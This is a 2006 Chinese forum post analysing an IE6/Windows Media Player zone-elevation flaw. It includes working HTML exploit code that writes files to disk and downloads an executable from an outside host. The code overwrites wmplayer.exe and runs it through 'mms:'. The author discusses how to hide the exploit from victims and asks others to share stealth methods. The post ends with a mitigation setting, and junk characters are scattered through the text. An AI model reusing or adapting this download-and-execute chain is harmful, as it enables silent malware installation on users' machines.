[I T 资讯] [分享]MediaPlayer+IE6最新漏洞的简单研究

415067047 发布于2006-5-27 16:26 1224 次浏览 0 位用户参与讨论   [复制分享主题]
<DIV><FONT>这个漏洞只有IE6.0及以上版本才有。因为从IE6开始支持类似下面的java script:window.open("http://ip/";,"_media");<BR>问题主要出在这里。
% _" }' k1 l6 i<P>以下所有代码均在XP+WMP8.0+IE6.01+IIS6.0环境测试通过。<BR>其中xp和IE已由<a href="http://www.hack58.net/" target="_blank" >windows</A> update更新截止到发贴时的微软补丁。(但还是有漏洞)</P>8 e$ m5 O% O/ H
<P>先看下面这段代码:<BR>&lt;html&gt;<BR>&lt;body&gt;<BR>&lt;textarea id="code" style="display:none"&gt;<BR>var s=new ActiveXObject(\"ADODB.Stream\");s.Type=2;s.Open();s.WriteText(\"ie bug test ok\");s.SaveToFile(\"c:\\\\bugtest.txt\",1);<BR>&lt;/textarea&gt; &lt;!注意,textarea中不换行&gt;<BR>&lt;script&gt;<BR>url="file:java script:eval(decodeURI(\""+document.all.code.value+"\"))" //注意,论坛自动在"javascript"中插入空格<BR>window.open(url,"_media"); //主要关注这一句<BR>&lt;/script&gt;<BR>write a file bugtest.txt to c:<BR>&lt;/body&gt;<BR>&lt;/html&gt;</P>
0 v" ]* n  c5 m$ f; w% s<P>将代码保存为ie6bug.htm,然后本地用IE打开。<BR>结果在c盘生成一个名为bugtest.txt的文件,而打开的IE窗口多了一个“媒体栏”。<BR>将ie6bug.htm放到IIS里,通过http://ip/ie6bug.htm访问,漏洞仍然有效。<BR>是不是觉得有些“恐怖”了。</P>
. ^  J' C6 N/ n  o: ?* T4 K# Q  [<P>如果把window.open(url,"_media")改为window.open(url),则会有安全警告“此计算机上的安全设置禁止访问其他域的数据源”。<BR>这是在预料中的。不管是本地打开html文件还是访问web时,IE的“域环境”都是“Internet”。一般情况下只能读写IE缓存等少数几个地方。<BR>但微软似乎犯了个错误,当新窗口启用“媒体栏”时,“域环境”变成了“我的电脑”,即本地域。<BR>单独执行window.open("about :blank","_media");就可以在IE状态栏看到这个变化。</P>$ z& E5 @8 _" K+ q) v! w( ^$ c- `1 W
<P>然而,并不全是"_media"的错。如果去掉url中的"file:",在本地打开没问题。<BR>但作为网页远程访问时,会警告“没有权限”。<BR>至于为什么"_media"+"file:"会造成“域环境”变化,我不知道。</P>
$ S: ~) q: Q' I<P>顺便说一下,用"_search"代替"_media"不会产生漏洞。</P>
; p2 y* B( r  w. k2 U, p<P>能够任意写程序到本地后,接着就是让程序运行了。<BR>漏洞介绍中用的办法是:下载恶意程序覆盖wmplayer.exe,然后location.href="mms:";<BR>这样,在<a href="http://www.hack58.net/" target="_blank" >windows</A>文件保护起效前调用wmplayer.exe,恶意程序就执行了。<BR>也可以替换telnet.exe,用location.href="telnet:"执行。<BR>道理很简单,但要有实用价值还要解决“隐蔽性”问题。</P>8 u; W; P. k* }4 C$ B. t
<P>当target="_media"时,总会出现“媒体栏”,即使使用&lt;iframe&gt;、&lt;frame&gt;等“框住”:<BR>&lt;iframe src="url" target="_media" height="1" width="1"&gt;&lt;/iframe&gt;</P>
7 V1 {/ S0 D$ j4 e8 {( j<P>先打开一个新窗口,再window.open(url,"_media"),然后关闭窗口也不行。<BR>父窗口和子窗口都会出现“媒体栏”。子窗口可以被关闭,但父窗口不行。</P>9 X: D$ N8 I" O" `$ A/ F& U
<P>用showModalDialog代替open还是不行。</P>' c% S& i9 E/ M7 h
<P>试了很多办法都不能隐藏“媒体栏”。<BR>漏洞介绍中使用的方法是:<BR>先window.open(url,"_media")再window.open("error.jsp","_media")<BR>通过访问error.jsp返回一个错误,这样“媒体栏”就消失了。<BR>这个办法我测试不成功,因为打了补丁。<BR>但微软的补丁似乎只是让返回错误时,“媒体栏”不消失。可是“域环境”变化仍然发生,所以漏洞仍然存在。<BR>事实上,只要恶意程序能被运行,那么查找新窗口名并关闭它,然后开个正常的,这样就比较隐蔽了。<BR>对于xp,同类窗口集合在一个任务栏窗口。所以窗口数变化并不明显。</P>
. W: Y! v6 K: c+ L& l, B% x9 o<P>谁找到好的隐藏办法,请共享一下吧。</P>
4 |" P8 M6 \* S; l6 y+ E+ {<P>我把漏洞介绍中的代码修改了一下,去掉消除“媒体栏”的功能(因为打了补丁就没用了)。</P>
  }: V) r; z! h$ ]) @" P<P>&lt;html&gt;<BR>&lt;body&gt;<BR>&lt;textarea id="code" style="display:none"&gt;<BR>var h=new ActiveXObject("Microsoft.XMLHTTP");<BR>h.open("GET","http://www.sometips.com/soft/msconfig.exe";,false);<BR>h.send();<BR>var s=new ActiveXObject("ADODB.Stream");<BR>s.type=1;<BR>s.open();<BR>s.write(h.Responsebody);<BR>s.savetofile("c:\\program files\\<a href="http://www.hack58.net/" target="_blank" >windows</A> media player\\wmplayer.exe",2);<BR>s.close;<BR>location.href="mms:";<BR>&lt;/textarea&gt;<BR>&lt;script&gt;<BR>var url=document.all.code.value;<BR>url=url.replace(/\r\n/g,"");<BR>url=url.replace(/\\/g,"\\\\");<BR>url=url.replace(/\"/g,"\\\"");<BR>url=url.replace(/\//g,"%2f");<BR>window.open("file:java script:eval(decodeURI(\""+url+"\"))","_media"); //注意,论坛自动在"javascript"中插入空格<BR>&lt;/script&gt;<BR>ie6 bug test.<BR>&lt;/body&gt;<BR>&lt;/html&gt;</P>
' B1 A7 Z) ]1 [; ?. m<P>测试代码前,请先备份wmplayer.exe。虽然<a href="http://www.hack58.net/" target="_blank" >windows</A>文件保护会恢复它,但以防万一。<BR>执行结果是运行了程序:英文版msconfig.exe。<BR>程序是从sometips下载的,大小101k。如果网速慢,代码页打开也较慢。<BR>如果WFP恢复文件时,msconfig正在运行,会在<a href="http://www.hack58.net/" target="_blank" >windows</A> media player目录下生成一个tmp文件,其实它就是msconfig.exe。</P>/ W% t, C$ M0 |! l' M8 r) o# \
<P>堵住漏洞的办法很简单:IE-》工具-》Internet选项-》高级-》多媒体:"不在媒体栏显示联机媒体内容",选上它就可以了。<BR>大家赶紧设置好,免得又中了XX“黑客”网站的招。<BR></P></FONT></DIV>
您需要登录后才可以回帖 登录 | 註冊

本版积分规则

快速
回复
返回
列表
返回
顶部